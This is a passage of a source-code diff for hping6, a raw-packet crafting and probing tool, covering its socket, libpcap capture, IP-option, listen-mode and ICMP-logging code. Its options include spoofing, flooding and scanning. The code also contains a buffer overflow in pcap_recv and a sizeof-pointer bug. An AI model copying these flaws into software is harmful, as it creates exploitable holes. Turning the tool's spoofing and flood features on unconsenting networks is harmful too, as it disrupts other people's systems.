|
||||||
|
|
||||||
|
if (ifr.ifr_flags & IFF_PROMISC) {
|
||||||
|
ifr.ifr_flags ^= IFF_PROMISC;
|
||||||
|
if ( ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
|
||||||
|
perror("[open_sockpacket] ioctl(SIOCSIFFLAGS)");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
32
in.h
Normal file
32
in.h
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
/* Copyright (C) 2000,2001 Salvatore Sanfilippo <antirez@invece.org> */
|
||||||
|
|
||||||
|
#ifndef ARS_IPPROTO_IP
|
||||||
|
|
||||||
|
#define ARS_IPPROTO_IP 0 /* Dummy protocol for TCP. */
|
||||||
|
#define ARS_IPPROTO_HOPOPTS 0 /* IPv6 Hop-by-Hop options. */
|
||||||
|
#define ARS_IPPROTO_ICMP 1 /* Internet Control Message Protocol. */
|
||||||
|
#define ARS_IPPROTO_IGMP 2 /* Internet Group Management Protocol. */
|
||||||
|
#define ARS_IPPROTO_IPIP 4 /* IPIP tunnels (older KA9Q tunnels use 94).*/
|
||||||
|
#define ARS_IPPROTO_TCP 6 /* Transmission Control Protocol. */
|
||||||
|
#define ARS_IPPROTO_EGP 8 /* Exterior Gateway Protocol. */
|
||||||
|
#define ARS_IPPROTO_PUP 12 /* PUP protocol. */
|
||||||
|
#define ARS_IPPROTO_UDP 17 /* User Datagram Protocol. */
|
||||||
|
#define ARS_IPPROTO_IDP 22 /* XNS IDP protocol. */
|
||||||
|
#define ARS_IPPROTO_TP 29 /* SO Transport Protocol Class 4. */
|
||||||
|
#define ARS_IPPROTO_IPV6 41 /* IPv6 header. */
|
||||||
|
#define ARS_IPPROTO_ROUTING 43 /* IPv6 routing header. */
|
||||||
|
#define ARS_IPPROTO_FRAGMENT 44 /* IPv6 fragmentation header. */
|
||||||
|
#define ARS_IPPROTO_RSVP 46 /* Reservation Protocol. */
|
||||||
|
#define ARS_IPPROTO_GRE 47 /* General Routing Encapsulation. */
|
||||||
|
#define ARS_IPPROTO_ESP 50 /* encapsulating security payload. */
|
||||||
|
#define ARS_IPPROTO_AH 51 /* authentication header. */
|
||||||
|
#define ARS_IPPROTO_ICMPV6 58 /* ICMPv6. */
|
||||||
|
#define ARS_IPPROTO_NONE 59 /* IPv6 no next header. */
|
||||||
|
#define ARS_IPPROTO_DSTOPTS 60 /* IPv6 destination options. */
|
||||||
|
#define ARS_IPPROTO_MTP 92 /* Multicast Transport Protocol. */
|
||||||
|
#define ARS_IPPROTO_ENCAP 98 /* Encapsulation Header. */
|
||||||
|
#define ARS_IPPROTO_PIM 103 /* Protocol Independent Multicast. */
|
||||||
|
#define ARS_IPPROTO_COMP 108 /* Compression Header Protocol. */
|
||||||
|
#define ARS_IPPROTO_RAW 255 /* Raw IP packets. */
|
||||||
|
|
||||||
|
#endif
|
83
ip_opt_build.c
Normal file
83
ip_opt_build.c
Normal file
@ -0,0 +1,83 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: memunlock.c$
|
||||||
|
* $other_author: Mika <mika@qualys.com>
|
||||||
|
* $other_copyright: Copyright (C) 1999 Mika <mika@qualys.com>
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:48 MET 1999$
|
||||||
|
* $rev: 2$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
unsigned char ip_opt_build(char* ip_opt)
|
||||||
|
{
|
||||||
|
unsigned char optlen = 0;
|
||||||
|
unsigned long ip;
|
||||||
|
|
||||||
|
memset(ip_opt, 1, sizeof(ip_opt));
|
||||||
|
|
||||||
|
if (opt_lsrr)
|
||||||
|
{
|
||||||
|
if (lsr_length<=39)
|
||||||
|
{
|
||||||
|
memcpy(ip_opt, &lsr, lsr_length);
|
||||||
|
optlen += lsr_length;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
printf("Warning: loose source route is too long, discarding it");
|
||||||
|
opt_lsrr=0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (opt_ssrr)
|
||||||
|
{
|
||||||
|
if (ssr_length+optlen<=39)
|
||||||
|
{
|
||||||
|
memcpy(ip_opt + optlen, &ssr, ssr_length);
|
||||||
|
optlen += ssr_length;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
printf("Warning: strict source route is too long, discarding it");
|
||||||
|
opt_ssrr=0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (opt_rroute)
|
||||||
|
{
|
||||||
|
if (optlen<=33)
|
||||||
|
{
|
||||||
|
ip_opt[optlen]=IPOPT_RR;
|
||||||
|
ip_opt[optlen+1]=39-optlen;
|
||||||
|
ip_opt[optlen+2]=8;
|
||||||
|
ip=inet_addr("1.2.3.4");
|
||||||
|
memcpy(ip_opt+optlen+3,&ip,4);
|
||||||
|
optlen=39;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
printf("Warning: no room for record route, discarding option\n");
|
||||||
|
opt_rroute=0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (optlen)
|
||||||
|
{
|
||||||
|
optlen = (optlen + 3) & ~3;
|
||||||
|
ip_opt[optlen-1] = 0;
|
||||||
|
return optlen;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
75
libpcap_stuff.c
Normal file
75
libpcap_stuff.c
Normal file
@ -0,0 +1,75 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: libpcap_stuff.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:48 MET 1999$
|
||||||
|
* $rev: 8$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
|
||||||
|
/* This is not be compiled if the target is linux without libpcap */
|
||||||
|
#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP)
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <pcap.h>
|
||||||
|
#include <net/bpf.h>
|
||||||
|
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
int open_pcap()
|
||||||
|
{
|
||||||
|
int on;
|
||||||
|
|
||||||
|
on = 1; /* no warning if BIOCIMMEDIATE will not be compiled */
|
||||||
|
if (opt_debug)
|
||||||
|
printf("DEBUG: pcap_open_live(%s, 99999, 0, 1, %p)\n",
|
||||||
|
ifname, errbuf);
|
||||||
|
|
||||||
|
pcapfp = pcap_open_live(ifname, 99999, 0, 1, errbuf);
|
||||||
|
if (pcapfp == NULL) {
|
||||||
|
printf("[open_pcap] pcap_open_live: %s\n", errbuf);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
#if (!defined OSTYPE_LINUX) && (!defined __sun__)
|
||||||
|
/* Return the packets to userspace as fast as possible */
|
||||||
|
if (ioctl(pcap_fileno(pcapfp), BIOCIMMEDIATE, &on) == -1)
|
||||||
|
perror("[open_pcap] ioctl(... BIOCIMMEDIATE ...)");
|
||||||
|
#endif
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int close_pcap()
|
||||||
|
{
|
||||||
|
pcap_close(pcapfp);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int pcap_recv(char *packet, unsigned int size)
|
||||||
|
{
|
||||||
|
char *p = NULL;
|
||||||
|
int pcapsize;
|
||||||
|
|
||||||
|
if (opt_debug)
|
||||||
|
printf("DEBUG: under pcap_recv()\n");
|
||||||
|
|
||||||
|
while(p == NULL) {
|
||||||
|
p = (unsigned char*) pcap_next(pcapfp, &hdr);
|
||||||
|
if (p == NULL && opt_debug)
|
||||||
|
printf("DEBUG: [pcap_recv] p = NULL\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
pcapsize = hdr.caplen;
|
||||||
|
|
||||||
|
if (pcapsize < size)
|
||||||
|
size = pcapsize;
|
||||||
|
|
||||||
|
memcpy(packet, p, pcapsize);
|
||||||
|
|
||||||
|
return pcapsize;
|
||||||
|
}
|
||||||
|
#endif /* ! OSTYPE_LINUX || FORCE_LIBPCAP */
|
73
linux_sockpacket.c
Normal file
73
linux_sockpacket.c
Normal file
@ -0,0 +1,73 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: linux_sockpacket.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:48 MET 1999$
|
||||||
|
* $rev: 8$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
|
||||||
|
#if (defined OSTYPE_LINUX) && (!defined FORCE_LIBPCAP)
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <unistd.h> /* close */
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
static void enlarge_recvbuf(int fd)
|
||||||
|
{
|
||||||
|
int val = 131070;
|
||||||
|
int len = sizeof(val);
|
||||||
|
|
||||||
|
/* Don't check the error: non fatal */
|
||||||
|
setsockopt(fd, SOL_SOCKET, SO_RCVBUF, (const char *) &val, len);
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifndef ETH_P_IPV6
|
||||||
|
# define ETH_P_IPV6 0x86DD
|
||||||
|
#endif
|
||||||
|
|
||||||
|
int open_sockpacket()
|
||||||
|
{
|
||||||
|
int s;
|
||||||
|
|
||||||
|
if (opt_debug)
|
||||||
|
printf("DEBUG: Trying to open PF_PACKET socket... ");
|
||||||
|
|
||||||
|
// s = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP));
|
||||||
|
// s = socket(PF_PACKET, SOCK_DGRAM, 768);
|
||||||
|
if(opt_ipv6)
|
||||||
|
s = socket(PF_PACKET, SOCK_DGRAM, htons(ETH_P_IPV6));
|
||||||
|
else
|
||||||
|
s = socket(PF_PACKET, SOCK_DGRAM, htons(ETH_P_IP));
|
||||||
|
|
||||||
|
if (s == -1) {
|
||||||
|
if (opt_debug) {
|
||||||
|
printf("DEBUG: failed ( 2.0.x kernel? )\n");
|
||||||
|
printf("DEBUG: Trying to open SOCK_PACKET socket... ");
|
||||||
|
}
|
||||||
|
s = socket(AF_INET, SOCK_PACKET, htons(ETH_P_IP));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (s == -1) {
|
||||||
|
perror("[open_sockpacket] socket()");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
enlarge_recvbuf(s);
|
||||||
|
|
||||||
|
if (opt_debug)
|
||||||
|
printf("DEBUG: PF_PACKET, SOCK_RAW open OK\n");
|
||||||
|
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
|
||||||
|
int close_sockpacket(int s)
|
||||||
|
{
|
||||||
|
return close(s);
|
||||||
|
}
|
||||||
|
#endif /* OSTYPE_LINUX && !FORCE_LIBPCAP */
|
79
listen.c
Normal file
79
listen.c
Normal file
@ -0,0 +1,79 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: listen.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:48 MET 1999$
|
||||||
|
* $rev: 8$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
|
||||||
|
#include "hping2.h" /* hping2.h includes hcmp.h */
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
void listenmain(void)
|
||||||
|
{
|
||||||
|
int size, ip_size;
|
||||||
|
int stdoutFD = fileno(stdout);
|
||||||
|
char packet[IP_MAX_SIZE+linkhdr_size];
|
||||||
|
char *p, *ip_packet;
|
||||||
|
struct myiphdr ip;
|
||||||
|
__u16 id;
|
||||||
|
static __u16 exp_id; /* expected id */
|
||||||
|
|
||||||
|
exp_id = 1;
|
||||||
|
|
||||||
|
while(1) {
|
||||||
|
size = read_packet(packet, IP_MAX_SIZE+linkhdr_size);
|
||||||
|
switch(size) {
|
||||||
|
case 0:
|
||||||
|
continue;
|
||||||
|
case -1:
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Skip truncated packets */
|
||||||
|
if (size < linkhdr_size+IPHDR_SIZE)
|
||||||
|
continue;
|
||||||
|
ip_packet = packet + linkhdr_size;
|
||||||
|
|
||||||
|
/* copy the ip header so it will be aligned */
|
||||||
|
memcpy(&ip, ip_packet, sizeof(ip));
|
||||||
|
id = ntohs(ip.id);
|
||||||
|
ip_size = ntohs(ip.tot_len);
|
||||||
|
if (size-linkhdr_size > ip_size)
|
||||||
|
size = ip_size;
|
||||||
|
else
|
||||||
|
size -= linkhdr_size;
|
||||||
|
|
||||||
|
if ((p = memstr(ip_packet, sign, size))) {
|
||||||
|
if (opt_verbose)
|
||||||
|
fprintf(stderr, "packet %d received\n", id);
|
||||||
|
|
||||||
|
if (opt_safe) {
|
||||||
|
if (id == exp_id)
|
||||||
|
exp_id++;
|
||||||
|
else {
|
||||||
|
if (opt_verbose)
|
||||||
|
fprintf(stderr, "packet not in sequence (id %d) received\n", id);
|
||||||
|
send_hcmp(HCMP_RESTART, exp_id);
|
||||||
|
if (opt_verbose)
|
||||||
|
fprintf(stderr, "HCMP restart from %d sent\n", exp_id);
|
||||||
|
continue; /* discard this packet */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
p+=strlen(sign);
|
||||||
|
write(stdoutFD, p, size-(p-ip_packet));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
112
logicmp.c
Normal file
112
logicmp.c
Normal file
@ -0,0 +1,112 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: logicmp.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:48 MET 1999$
|
||||||
|
* $rev: 8$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <sys/types.h> /* this should be not needed, but ip_icmp.h lacks it */
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
void log_icmp_timeexc(const char *src_addr, unsigned short icmp_code)
|
||||||
|
{
|
||||||
|
switch(icmp_code) {
|
||||||
|
case ICMP_EXC_TTL:
|
||||||
|
printf("TTL 0 during transit from ip=%s", src_addr);
|
||||||
|
break;
|
||||||
|
case ICMP_EXC_FRAGTIME:
|
||||||
|
printf("TTL 0 during reassembly from ip=%s", src_addr);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (opt_gethost) {
|
||||||
|
char *hostn;
|
||||||
|
|
||||||
|
fflush(stdout);
|
||||||
|
hostn = get_hostname(src_addr);
|
||||||
|
printf("name=%s", (hostn) ? hostn : "UNKNOWN");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void log_icmp_unreach(const char *src_addr, unsigned short icmp_code)
|
||||||
|
{
|
||||||
|
static char* icmp_unreach_msg[]={
|
||||||
|
"Network Unreachable", /* code 0 */
|
||||||
|
"Host Unreachable", /* code 1 */
|
||||||
|
"Protocol Unreachable", /* code 2 */
|
||||||
|
"Port Unreachable", /* code 3 */
|
||||||
|
"Fragmentation Needed/DF set", /* code 4 */
|
||||||
|
"Source Route failed", /* code 5 */
|
||||||
|
NULL, /* code 6 */
|
||||||
|
NULL, /* code 7 */
|
||||||
|
NULL, /* code 8 */
|
||||||
|
NULL, /* code 9 */
|
||||||
|
NULL, /* code 10 */
|
||||||
|
NULL, /* code 11 */
|
||||||
|
NULL, /* code 12 */
|
||||||
|
"Packet filtered", /* code 13 */
|
||||||
|
"Precedence violation", /* code 14 */
|
||||||
|
"precedence cut off" /* code 15 */
|
||||||
|
};
|
||||||
|
|
||||||
|
if (icmp_code < 16 && icmp_unreach_msg[icmp_code] != NULL)
|
||||||
|
printf("ICMP %s from ip=%s", icmp_unreach_msg[icmp_code], src_addr);
|
||||||
|
else
|
||||||
|
printf("ICMP Unreachable type=%d from ip=%s",
|
||||||
|
icmp_code, src_addr);
|
||||||
|
|
||||||
|
if (opt_gethost) {
|
||||||
|
char *hostn;
|
||||||
|
|
||||||
|
fflush(stdout);
|
||||||
|
hostn = get_hostname(src_addr);
|
||||||
|
printf("name=%s", (hostn) ? hostn : "UNKNOWN");
|
||||||
|
}
|
||||||
|
putchar('\n');
|
||||||
|
}
|
||||||
|
|
||||||
|
void log_icmp6_unreach(const char *src_addr, unsigned short icmp_code)
|
||||||
|
{
|
||||||
|
static char* icmp_unreach_msg[]={
|
||||||
|
"Network Unreachable", /* code 0 */
|
||||||
|
"Packet Filtered", /* code 1 */
|
||||||
|
"Unreachable type=2", /* code 2 */
|
||||||
|
"Address Unreachable", /* code 3 */
|
||||||
|
"Port Unreachable", /* code 4 */
|
||||||
|
};
|
||||||
|
|
||||||
|
if (icmp_code < 5)
|
||||||
|
printf("ICMP6 %s from ip=%s", icmp_unreach_msg[icmp_code], src_addr);
|
||||||
|
else
|
||||||
|
printf("ICMP6 Unreachable type=%d from ip=%s",
|
||||||
|
icmp_code, src_addr);
|
||||||
|
|
||||||
|
if (opt_gethost) {
|
||||||
|
char *hostn;
|
||||||
|
|
||||||
|
fflush(stdout);
|
||||||
|
hostn = get_hostname(src_addr);
|
||||||
|
printf("name=%s", (hostn) ? hostn : "UNKNOWN");
|
||||||
|
}
|
||||||
|
putchar('\n');
|
||||||
|
}
|
||||||
|
|
||||||
|
void log_icmp6_ptb(const char *src_addr, __u32 mtu)
|
||||||
|
{
|
||||||
|
printf("ICMP6 Packet Too Big, MTU=%d from ip=%s",
|
||||||
|
mtu, src_addr);
|
||||||
|
|
||||||
|
if (opt_gethost) {
|
||||||
|
char *hostn;
|
||||||
|
|
||||||
|
fflush(stdout);
|
||||||
|
hostn = get_hostname(src_addr);
|
||||||
|
printf("name=%s", (hostn) ? hostn : "UNKNOWN");
|
||||||
|
}
|
||||||
|
putchar('\n');
|
||||||
|
}
|
390
main.c
Normal file
390
main.c
Normal file
@ -0,0 +1,390 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: main.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:48 MET 1999$
|
||||||
|
* $rev: 8$
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* hping official page at http://www.kyuzz.org/antirez
|
||||||
|
* Covered by GPL version 2, Read the COPYING file for more information
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* $Id: main.c,v 1.26 2003/08/07 23:55:55 antirez Exp $ */
|
||||||
|
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <sys/time.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
|
||||||
|
#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP)
|
||||||
|
#include <pcap.h>
|
||||||
|
#endif /* ! OSTYPE_LINUX || FORCE_LIBPCAP */
|
||||||
|
|
||||||
|
/* globals */
|
||||||
|
unsigned int
|
||||||
|
tcp_th_flags = 0,
|
||||||
|
linkhdr_size = -1, /* physical layer header size */
|
||||||
|
ip_tos = 0,
|
||||||
|
set_seqnum = FALSE,
|
||||||
|
tcp_seqnum = FALSE,
|
||||||
|
set_ack,
|
||||||
|
h_if_mtu,
|
||||||
|
virtual_mtu = DEFAULT_VIRTUAL_MTU,
|
||||||
|
ip_frag_offset = 0,
|
||||||
|
signlen,
|
||||||
|
lsr_length = 0,
|
||||||
|
ssr_length = 0,
|
||||||
|
tcp_ack;
|
||||||
|
|
||||||
|
|
||||||
|
unsigned short int
|
||||||
|
data_size = 0;
|
||||||
|
|
||||||
|
float
|
||||||
|
rtt_min = 0,
|
||||||
|
rtt_max = 0,
|
||||||
|
rtt_avg = 0;
|
||||||
|
|
||||||
|
int
|
||||||
|
sockpacket,
|
||||||
|
sockraw,
|
||||||
|
sent_pkt = 0,
|
||||||
|
recv_pkt = 0,
|
||||||
|
out_of_sequence_pkt = 0,
|
||||||
|
sending_wait = DEFAULT_SENDINGWAIT, /* see DEFAULT_SENDINGWAIT */
|
||||||
|
opt_rawipmode = FALSE,
|
||||||
|
opt_icmpmode = FALSE,
|
||||||
|
opt_udpmode = FALSE,
|
||||||
|
opt_scanmode = FALSE,
|
||||||
|
opt_listenmode = FALSE,
|
||||||
|
opt_waitinusec = FALSE,
|
||||||
|
opt_numeric = FALSE,
|
||||||
|
opt_gethost = TRUE,
|
||||||
|
opt_quiet = FALSE,
|
||||||
|
opt_relid = FALSE,
|
||||||
|
opt_fragment = FALSE,
|
||||||
|
opt_df = FALSE,
|
||||||
|
opt_mf = FALSE,
|
||||||
|
opt_debug = FALSE,
|
||||||
|
opt_verbose = FALSE,
|
||||||
|
opt_winid_order = FALSE,
|
||||||
|
opt_keepstill = FALSE,
|
||||||
|
opt_datafromfile= FALSE,
|
||||||
|
opt_hexdump = FALSE,
|
||||||
|
opt_contdump = FALSE,
|
||||||
|
opt_sign = FALSE,
|
||||||
|
opt_safe = FALSE,
|
||||||
|
opt_end = FALSE,
|
||||||
|
opt_traceroute = FALSE,
|
||||||
|
opt_seqnum = FALSE,
|
||||||
|
opt_incdport = FALSE,
|
||||||
|
opt_force_incdport = FALSE,
|
||||||
|
opt_icmptype = DEFAULT_ICMP_TYPE,
|
||||||
|
opt_icmpcode = DEFAULT_ICMP_CODE,
|
||||||
|
opt_rroute = FALSE,
|
||||||
|
opt_tcpexitcode = FALSE,
|
||||||
|
opt_badcksum = FALSE,
|
||||||
|
opt_tr_keep_ttl = FALSE,
|
||||||
|
opt_tcp_timestamp = FALSE,
|
||||||
|
opt_tr_stop = FALSE,
|
||||||
|
opt_tr_no_rtt = FALSE,
|
||||||
|
opt_rand_dest = FALSE,
|
||||||
|
opt_rand_source = FALSE,
|
||||||
|
opt_lsrr = FALSE,
|
||||||
|
opt_ssrr = FALSE,
|
||||||
|
opt_cplt_rte = FALSE,
|
||||||
|
opt_bps = 0,
|
||||||
|
opt_pps = 0,
|
||||||
|
tcp_exitcode = 0,
|
||||||
|
src_ttl = DEFAULT_TTL,
|
||||||
|
src_id = -1, /* random */
|
||||||
|
base_dst_port = DEFAULT_DPORT,
|
||||||
|
dst_port = DEFAULT_DPORT,
|
||||||
|
src_port,
|
||||||
|
sequence = 0,
|
||||||
|
initsport = DEFAULT_INITSPORT,
|
||||||
|
src_winsize = DEFAULT_SRCWINSIZE,
|
||||||
|
src_thoff = (TCPHDR_SIZE >> 2),
|
||||||
|
count = DEFAULT_COUNT,
|
||||||
|
ctrlzbind = DEFAULT_BIND,
|
||||||
|
delaytable_index= 0,
|
||||||
|
eof_reached = FALSE,
|
||||||
|
icmp_ip_version = DEFAULT_ICMP_IP_VERSION,
|
||||||
|
icmp_ip_ihl = DEFAULT_ICMP_IP_IHL,
|
||||||
|
icmp_ip_tos = DEFAULT_ICMP_IP_TOS,
|
||||||
|
icmp_ip_tot_len = DEFAULT_ICMP_IP_TOT_LEN,
|
||||||
|
icmp_ip_id = DEFAULT_ICMP_IP_ID,
|
||||||
|
icmp_ip_protocol= DEFAULT_ICMP_IP_PROTOCOL,
|
||||||
|
icmp_ip_srcport = DEFAULT_DPORT,
|
||||||
|
icmp_ip_dstport = DEFAULT_DPORT,
|
||||||
|
opt_force_icmp = FALSE,
|
||||||
|
icmp_cksum = DEFAULT_ICMP_CKSUM,
|
||||||
|
raw_ip_protocol = DEFAULT_RAW_IP_PROTOCOL,
|
||||||
|
opt_ipv6 = FALSE,
|
||||||
|
opt_af = AF_INET,
|
||||||
|
opt_flood = FALSE;
|
||||||
|
|
||||||
|
char
|
||||||
|
datafilename [1024],
|
||||||
|
targetname [1024],
|
||||||
|
targetstraddr [1024],
|
||||||
|
ifname [1024] = {'\0'},
|
||||||
|
ifstraddr [1024],
|
||||||
|
spoofaddr [1024],
|
||||||
|
icmp_ip_srcip [1024],
|
||||||
|
icmp_ip_dstip [1024],
|
||||||
|
icmp_gwip [1024],
|
||||||
|
sign [1024],
|
||||||
|
rsign [1024], /* reverse sign (hping -> gniph) */
|
||||||
|
ip_opt [40],
|
||||||
|
*opt_scanports = "";
|
||||||
|
|
||||||
|
unsigned char
|
||||||
|
lsr [255] = {0},
|
||||||
|
ssr [255] = {0};
|
||||||
|
|
||||||
|
unsigned
|
||||||
|
ip_optlen = 0;
|
||||||
|
|
||||||
|
struct sockaddr_in
|
||||||
|
icmp_ip_src,
|
||||||
|
icmp_ip_dst,
|
||||||
|
icmp_gw;
|
||||||
|
struct SOCKADDR
|
||||||
|
local,
|
||||||
|
remote;
|
||||||
|
|
||||||
|
struct itimerval usec_delay;
|
||||||
|
volatile struct delaytable_element delaytable[TABLESIZE];
|
||||||
|
|
||||||
|
struct hcmphdr *hcmphdr_p; /* global pointer used by send_hcmp to transfer
|
||||||
|
hcmp headers to data_handler */
|
||||||
|
|
||||||
|
#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP)
|
||||||
|
pcap_t *pcapfp;
|
||||||
|
char errbuf[PCAP_ERRBUF_SIZE];
|
||||||
|
struct pcap_pkthdr hdr;
|
||||||
|
#endif /* ! OSTYPE_LINUX || FORCE_LIBPCAP */
|
||||||
|
|
||||||
|
/* main */
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
char setflags[1024] = {'\0'};
|
||||||
|
int c, hdr_size;
|
||||||
|
|
||||||
|
if (parse_options(argc, argv) == -1) {
|
||||||
|
printf("hping6: missing host argument\n"
|
||||||
|
"Try `hping6 --help' for more information.\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* reverse sign */
|
||||||
|
if (opt_sign || opt_listenmode) {
|
||||||
|
char *src = sign+strlen(sign)-1; /* last char before '\0' */
|
||||||
|
char *dst = rsign;
|
||||||
|
|
||||||
|
while(src>=sign)
|
||||||
|
*dst++ = *src--;
|
||||||
|
*dst = '\0';
|
||||||
|
if (opt_debug)
|
||||||
|
printf("DEBUG: reverse sign: %s\n", rsign);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* get target address before interface processing */
|
||||||
|
if (opt_ipv6)
|
||||||
|
resolve6((struct sockaddr*)&remote, targetname);
|
||||||
|
else if ((!opt_listenmode && !opt_safe) && !opt_rand_dest)
|
||||||
|
resolve((struct sockaddr*)&remote, targetname);
|
||||||
|
|
||||||
|
if (opt_rand_dest) {
|
||||||
|
strlcpy(targetstraddr, targetname, sizeof(targetstraddr));
|
||||||
|
} else {
|
||||||
|
inet_ntop(opt_af, ADDR(&remote), targetstraddr, sizeof(targetstraddr));
|
||||||
|
}
|
||||||
|
|
||||||
|
/* get interface's name and address */
|
||||||
|
if ( get_if_name() == -1 ) {
|
||||||
|
printf("[main] no such device\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (opt_verbose || opt_debug) {
|
||||||
|
printf("using %s, addr: %s, MTU: %d\n",
|
||||||
|
ifname, ifstraddr, h_if_mtu);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* open raw socket */
|
||||||
|
sockraw = open_sockraw();
|
||||||
|
if (sockraw == -1) {
|
||||||
|
printf("[main] can't open raw socket\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* set SO_BROADCAST option */
|
||||||
|
socket_broadcast(sockraw);
|
||||||
|
/* set SO_IPHDRINCL option */
|
||||||
|
if(!opt_ipv6)
|
||||||
|
socket_iphdrincl(sockraw);
|
||||||
|
|
||||||
|
/* open sock packet or libpcap socket */
|
||||||
|
#if (defined OSTYPE_LINUX) && (!defined FORCE_LIBPCAP)
|
||||||
|
sockpacket = open_sockpacket();
|
||||||
|
if (sockpacket == -1) {
|
||||||
|
